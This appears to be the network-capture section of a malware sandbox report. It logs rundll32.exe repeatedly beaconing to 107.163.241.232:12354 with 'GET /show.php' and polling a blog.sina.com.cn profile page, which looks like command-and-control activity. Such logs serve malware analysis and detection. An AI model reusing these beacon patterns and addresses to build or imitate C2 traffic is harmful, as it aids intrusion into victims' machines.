Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50451	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:14.456115007 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:15.999746084 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:15 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50497	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:16.533915043 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50502	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:16.674336910 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50536	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:18.422631025 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50539	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:18.543915033 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50540	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:18.551333904 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:20.118313074 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:19 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50590	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:20.655412912 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50594	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:20.795660973 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50640	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:22.411628962 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50644	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:22.566709995 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50645	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:22.568665028 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:24.129578114 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:23 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50708	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:24.654288054 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50714	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:24.796717882 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50772	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:26.543872118 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50776	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:26.692142010 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50778	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:26.696835995 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:28.265237093 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:28 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50841	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:28.765093088 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50851	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:28.938195944 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50945	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:30.802680016 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50951	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:30.845254898 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:32.421551943 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:32 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50952	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:30.852375984 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	51063	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:33.036681890 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	51069	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:33.177968979 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	51154	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:34.676673889 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	51166	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:34.832730055 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	51168	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:34.835414886 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:36.395996094 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:36 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	51291	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:36.958987951 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	51301	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:37.085668087 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	51401	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:38.809048891 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	51413	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:38.996000051 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:40.588187933 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:40 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	51414	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:39.000686884 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	51533	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:41.131908894 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	51548	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:41.297849894 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	51639	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:43.011594057 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	51649	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:43.233551979 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	51650	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:43.233830929 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:44.843293905 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:44 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	51772	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:45.256422043 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache
Dec 11, 2024 16:28:44.646657944 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	51788	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:45.532934904 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	52165	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:47.152116060 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	52286	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:47.390743971 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

